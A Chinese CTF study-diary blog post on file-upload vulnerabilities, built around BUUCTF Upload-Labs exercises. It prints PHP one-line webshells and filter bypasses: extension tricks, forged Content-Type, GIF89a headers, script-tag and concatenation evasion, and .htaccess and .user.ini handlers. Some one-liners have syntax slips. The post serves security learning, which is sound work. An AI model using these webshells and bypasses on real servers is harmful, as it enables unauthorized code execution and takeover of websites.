当前位置:   article > 正文

wmm的学习日记(文件上传漏洞)_buuctf upload-labs-linux

buuctf upload-labs-linux

这个星期正式学习了一下文件上传漏洞,虽然之前也有接触过这样的题目,但还是云里雾里的感觉。现在应该可以不靠题解完完全全靠自己的脑子做一些简单的题目啦。接下来就让我浅浅总结一下吧。

 

目录

文件上传漏洞简介

文件上传漏洞产生的原因

一句话木马

Webshell

CTF中常用的一句话木马

蚁剑

简介

前提

文件上传漏洞利用

示例(BUUCTF Upload-Labs-Linux)

文件上传漏洞绕过技巧 

绕过后缀名过滤

客户端检测(js)

服务端检测

文件MIME类型

文件内容(一句话木马)绕过

文件头(文件幻术头)

启示标记过滤(

函数过滤 

$_POST过滤

符号过滤

分布式配置文件

.htaccess

.user.ini

示例(BUUCTF [极客大挑战 2019]Upload)


文件上传漏洞简介

文件上传漏洞产生的原因

对于上传的文件没有严格的格式要求,过滤和检测,导致上传的文件可以是木马,病毒,恶意脚本或者WebShell等恶意语句。

一句话木马

一句话木马就是功能简单的Webshell

Webshell

WebShelI其实就是一张网页,一般由asp、aspx、php、jsp、jspx 等这类Web应用程序语言开发。与正常网页不同的是,WebShell 一般会具备文件管理、端口扫描、提权、获取系统信息等功能,这一类较完整功能的WebShell, 我们一般称为大马。功能简易的Webshell 称为一句话木马或小马。

CTF中常用的一句话木马

<?php @eval($_POST['a'];?>

蚁剑

简介

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

在CTF中的文件上传漏洞题我们在成功上传一句话木马后用蚁剑连接网站,获取flag

前提

1.上传的一句话木马中函数要为代码执行函数(如 eval/assert)

2.传参方式要选择POST或者REQUEST,不可以用GET

3.连接密码为[]中的内容

4.上传的一句话木马文件要被解析

5.连接的网址要是上传文件的地址(常见的地址有"upload/1.php,uploads/1.php,/1.php")

文件上传漏洞利用

通过文件上传上传可执行脚本,然后通过命令执行脚本获取信息

示例(BUUCTF Upload-Labs-Linux)

<?php @eval($_POST['wmm']);?>

 第一步,将一句话木马写入记事本,保存为php文件

 第二步,将文件上传

第三步,找到文件上传的地址用蚁剑连接 

文件上传漏洞绕过技巧 

CTF相关文件上传的题目大概步骤都是:成功上传一句话木马->蚁剑连接->得到flag,但是题目中还会有各种绕过

绕过后缀名过滤

客户端检测(js)

特点

上传文件后一般会回显上传文件不符合条件,而且没有流量

解决办法

关闭页面js

以火狐为例:检查->...->设置->禁用JavaScript 

示例

BUUCTF Upload-Labs-Linux Pass-01

服务端检测

特点

上传文件后一般会回显上传文件不符合条件,而且有流量

黑名单(关键字过滤)

1.用php3/php5/phtml代替php

2.看情况使用大小写绕过

3.看情况使用双写pphphp

白名单

一般配合其他漏洞使用,如中间件解析漏洞,文件包含漏洞,变量覆盖等

示例

BUUCTF Upload-Labs-Linux Pass-03

文件MIME类型

特点

修改后缀后还是显示文件格式错误,页面有流量

解决方法

抓包修改Content-Type类型为image/jpeg,image/png等,可以通过页面回显要求的文件修改相应的值,可以在"phpstudy\Extensions\Apache2.4.39\conf\mime.types"下查看

示例

BUUCTF Upload-Labs-Linux Pass-02

第一步,尝试上传一句话木马,多次修改后缀后发现任然无法上传

第二步,抓包,修改Concent-Type的值为image/jpeg后发现上传成功 

第三步,访问上传图片的页面查看源码发现什么都没有,被解析了,表示上传成功,用蚁剑连接得到flag 

文件内容(一句话木马)绕过

文件头(文件幻术头)

原理

后端会检测上传文件的内容而图片格式检查文件内容是通过检查文件开头的一段二进制,所以我们可以通过在一句话木马前加上图片的文件头达到绕过的目的。

常见的文件幻术(GIF89a)

JPG: FF D8 FF EO 00 10 4A 46 49 46.

GIF:47 49 46 3839 61(GIF89a).

PNG:89 50 4E 47

示例

GIF89a <?php @eval($_POST['a'];?>

启示标记过滤(<?)

  1. 用'<?'在短标签开启的前提下代替'<?php'
  2. <script language='php'>代替
  1. <?php @eval($_POST['a'];?>
  2. <script language='php'>eval($_POST['a'];</script>

函数过滤 

  1. 代替代码执行函数(assert)
  2. 拼接 $a=ev;$b=al;$a.$b($_POST['a']);
  3. 动态传参,$_GET[x]($_POST['a']);

$_POST过滤

用$_REQUSET代替

符号过滤

  1. []/{}/['']
  2. ;若是最后一句可以没有(既有?>可无:)
  3. ?>若是有;可以没有

分布式配置文件

.htaccess

  1. SetHandler application/x-httpd-php
  2. 加了文件头需要换行
  3. GIF89a
  4. SetHandler application/x-httpd-php

使用方法

先上传.htaccess文件后上传一句话木马,要上传在同一文件夹下

适用对象

Apache/Openresty

作用

简单的说就是帮助上传文件被解析 

.user.ini

  1. auto_prepend_file ; 指定一个文件,自动包含在要执行的文件后。
  2. auto_prepend_file=2.jpg(上传文件名)
  3. 加了文件头要换行
  4. GIF89a
  5. auto_prepend_file=2.jpg

使用方法

先上传.user.ini文件,后上传与.user.ini内提到文件同名的文件

适用对象

Apache/Openresty/nginx/apache/IIS(只要是以fastcgi运行的php都可以用这个方法)

作用

和.htaccess的作用相似,帮助上传文件解析

示例(BUUCTF [极客大挑战 2019]Upload)

第一步,上传文件发现要求image,修改后缀没有用 

第二步,修改Content-Yype为image/jpeg,回显"<?"被过滤了 

第三步,用"<sctipt language='php'>代替,得到回显表示检测到文件不是图片 

第四步,加上文件幻术头"GIF89a",上传成功 

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/木道寻08/article/detail/848614
推荐阅读
相关标签
  

闽ICP备14008679号